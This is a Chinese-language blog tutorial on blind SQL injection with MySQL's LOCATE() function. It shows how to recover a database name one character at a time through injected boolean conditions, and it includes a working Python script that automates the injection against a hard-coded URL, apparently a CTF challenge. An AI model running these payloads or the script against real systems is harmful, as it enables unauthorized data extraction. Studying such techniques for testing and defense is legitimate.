基于locate()函数的sql盲注

时间:2022-09-05 14:04:04

Locate()

LOCATE(substr,str) , LOCATE(substr,str,pos) 
第一个语法返回字符串 str中子字符串substr的第一个出现位置。第二个语法返回字符串 str中子字符串substr的第一个出现位置, 起始位置在pos。如若substr 不在str中,则返回值为0。

这里主要利用第二个语法进行报错注入:

假设数据库名为security

首先从最基本的:

locate(‘s’,(select database()),1)

表示查询数据库名,并且是从第一位开始,返回字符s第一次出现的位置。

但是仅凭这一句是无法获取特别有用的信息的,但是可以在构造

locate(‘s’,(select database()),1)=1

查询数据库名的第一位开始,如果存在s,并且s的位置等于1,那么等式成立。

综合利用:

select username from security.users where id=1 and (locate(‘s’,(select database()),1)=1)

如果返回值正常,我们就可以认为第一位是s,同理构造

select username from security.users where id=1 and (locate(‘X’,(select database()),n)=n)

将x遍历,n从1开始增加,即可。

不过还有个问题:mysql对字段名的大小写是不敏感的,也就是说会同时出现S和s 满足,都会被记录。

这里可以用binary修饰,表示二进制

select username from security.users where id=1 and (locate(binary’X’,(select database()),n)=n)

转载指明出处

文章同步到我的博客:http://119.23.249.120/archives/271

附上脚本:

import requests
rs = requests.session()
url0="http://120.24.86.145:9004/Once_More.php"
def locate():
    flag = ''
    for j in range(1, 100):
        char_all = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
        key = 0
        for i in char_all:
            url = url0+"?id=1'and  (select locate(binary'" + str(
                i) + "',(select database() limit 0,1)," + str(
                j) + "))=" + str(j) + "%23"
            r1 = rs.get(url)
            print (url)
            if "Hello" in r1.text:
                print(str(i) + " -----" + str(j))
                flag += str(i)
                print("[*] : " + flag)
                key = 1
        if key == 0:
            break
locate()